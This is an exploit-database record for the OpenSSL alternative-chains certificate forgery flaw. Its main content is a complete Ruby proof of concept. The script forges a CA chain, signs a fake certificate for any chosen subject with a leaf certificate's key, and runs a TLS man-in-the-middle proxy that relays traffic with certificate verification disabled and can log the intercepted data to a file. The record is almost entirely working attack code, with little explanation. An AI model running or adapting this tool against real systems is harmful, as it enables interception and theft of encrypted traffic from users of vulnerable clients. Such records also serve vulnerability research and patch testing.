Description
OpenSSL - Alternative Chains Certificate Forgery
{"lastseen": "2020-04-01T19:04:39", "references": [], "description": "\nOpenSSL - Alternative Chains Certificate Forgery", "edition": 1, "reporter": "Ramon de C Valle", "exploitpack": {"type": "webapps", "platform": "multiple"}, "published": "2015-11-05T00:00:00", "title": "OpenSSL - Alternative Chains Certificate Forgery", "type": "exploitpack", "enchantments": {"dependencies": {}, "score": {"value": 0.1, "vector": "NONE"}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.1}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2015-11-05T00:00:00", "id": "EXPLOITPACK:30AC30B2668ECE3D84CBE190B06FFC74", "href": "", "viewCount": 6, "sourceData": "#!/usr/bin/env ruby\n# encoding: ASCII-8BIT\n# By Ramon de C Valle. This work is dedicated to the public domain.\n\nrequire 'openssl'\nrequire 'optparse'\nrequire 'socket'\n\nVersion = [0, 0, 1]\nRelease = nil\n\nclass String\n def hexdump(stream=$stdout)\n 0.step(bytesize - 1, 16) do |i|\n stream.printf('%08x ', i)\n\n 0.upto(15) do |j|\n stream.printf(' ') if j == 8\n\n if i + j >= bytesize\n stream.printf(' ')\n else\n stream.printf('%02x ', getbyte(i + j))\n end\n end\n\n stream.printf(' ')\n\n 0.upto(15) do |j|\n if i + j >= bytesize\n stream.printf(' ')\n else\n if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr\n stream.printf('%c', getbyte(i + j))\n else\n stream.printf('.')\n end\n end\n end\n\n stream.printf(\"\\n\")\n end\n end\nend\n\noptions = {}\n\nOptionParser.new do |parser|\n parser.banner = \"Usage: #{parser.program_name} [options] host cacert key cert\"\n\n parser.separator('')\n parser.separator('Options:')\n\n parser.on('-H', '--local-host HOST', 'Local host') do |host|\n options[:local_host] = host\n end\n\n parser.on('-P', '--local-port PORT', 'Local port') do |port|\n options[:local_port] = port\n end\n\n parser.on('-d', '--debug', 'Debug mode') do\n options[:debug] = true\n end\n\n parser.on('-h', '--help', 'Show this message') do\n puts parser\n exit\n end\n\n parser.on('-o', '--output FILE', 'Output file') do |file|\n options[:file] = File.new(file, 'w+b')\n end\n\n parser.on('-p', '--port PORT', 'Port') do |port|\n options[:port] = port\n end\n\n parser.on('-v', '--verbose', 'Verbose mode') do\n options[:verbose] = true\n end\n\n parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase|\n options[:pass_phrase] = pass_phrase\n end\n\n parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject|\n options[:subject] = subject\n end\n\n parser.on('--version', 'Show version') do\n puts parser.ver\n exit\n end\nend.parse!\n\nlocal_host = options[:local_host] || '0.0.0.0'\nlocal_port = options[:local_port] || 443\ndebug = options[:debug] || false\nfile = options[:file] || nil\nhost = ARGV[0] or fail ArgumentError, 'no host given'\nport = options[:port] || 443\nverbose = options[:verbose] || false\ncacert = ARGV[1] or fail ArgumentError, 'no cacert given'\nkey = ARGV[2] or fail ArgumentError, 'no key given'\npass_phrase = options[:pass_phrase] || nil\ncert = ARGV[3] or fail ArgumentError, 'no cert given'\nsubject = options[:subject] || \"/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}\"\n\nroot_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')\nroot_ca_key = OpenSSL::PKey::RSA.new(2048)\nroot_ca_cert = OpenSSL::X509::Certificate.new\nroot_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')\nroot_ca_cert.not_after = Time.now + 86400\nroot_ca_cert.not_before = Time.now\nroot_ca_cert.public_key = root_ca_key.public_key\nroot_ca_cert.serial = 0\nroot_ca_cert.subject = root_ca_name\nroot_ca_cert.version = 2\nextension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)\nroot_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))\nroot_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))\nroot_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))\nroot_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)\n\ninter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')\ninter_ca_key = OpenSSL::PKey::RSA.new(2048)\ninter_ca_cert = OpenSSL::X509::Certificate.new\ninter_ca_cert.issuer = root_ca_name\ninter_ca_cert.not_after = Time.now + 86400\ninter_ca_cert.not_before = Time.now\ninter_ca_cert.public_key = inter_ca_key.public_key\ninter_ca_cert.serial = 0\ninter_ca_cert.subject = inter_ca_name\ninter_ca_cert.version = 2\nextension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)\ninter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))\ninter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))\ninter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))\ninter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)\n\nsubinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))\nsubinter_ca_cert.issuer = inter_ca_name\nsubinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)\nleaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)\nleaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))\n\nfake_name = OpenSSL::X509::Name.parse(subject)\nfake_key = OpenSSL::PKey::RSA.new(2048)\nfake_cert = OpenSSL::X509::Certificate.new\nfake_cert.issuer = leaf_cert.subject\nfake_cert.not_after = Time.now + 3600\nfake_cert.not_before = Time.now\nfake_cert.public_key = fake_key.public_key\nfake_cert.serial = 0\nfake_cert.subject = fake_name\nfake_cert.version = 2\nextension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)\nfake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))\nfake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))\nfake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))\nfake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)\n\ncontext = OpenSSL::SSL::SSLContext.new\ncontext.cert = fake_cert\ncontext.extra_chain_cert = [leaf_cert, subinter_ca_cert]\ncontext.key = fake_key\n\ntcp_server = TCPServer.new(local_host, local_port)\nproxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)\n\nputs 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose\n\nloop do\n Thread.start(proxy.accept) do |client|\n puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose\n\n context = OpenSSL::SSL::SSLContext.new(:TLSv1)\n context.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n tcp_socket = TCPSocket.new(host, port)\n server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)\n server.connect\n\n puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose\n\n loop do\n readable, = IO.select([client, server])\n\n readable.each do |r|\n data = r.readpartial(4096)\n data.hexdump($stderr) if debug\n puts '%d bytes received' % [data.bytesize] if debug || verbose\n\n if file\n file.write(data)\n file.flush\n file.fsync\n end\n\n case r\n when client\n count = server.write(data)\n server.flush\n data.hexdump($stderr) if debug\n puts '%d bytes sent' % [count] if debug || verbose\n\n when server\n count = client.write(data)\n client.flush\n data.hexdump($stderr) if debug\n puts '%d bytes sent' % [count] if debug || verbose\n end\n end\n end\n\n client.close\n server.close\n end\nend\n\nproxy.close", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645692325, "score": 1659814272}, "_internal": {"score_hash": "eb678a2458e38901bc432982869d3211"}}
{}